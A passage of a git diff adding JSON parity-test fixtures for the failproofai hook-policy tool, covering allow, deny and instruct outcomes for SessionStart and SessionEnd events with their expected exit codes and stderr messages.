"allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3bd8afbe --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f809be6e --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e2c9706d --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..de3d96b8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d14eb1e1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8cab2282 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked session end by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a99bf9ec --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked session end by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0db44da3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5d914912 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d7f60be7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..81000779 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7a01cd7a --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a9ae6248 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..554dee28 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e2a9094f --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..51f3d9e5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..24a10dec --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d3f07858 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d680fca1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git 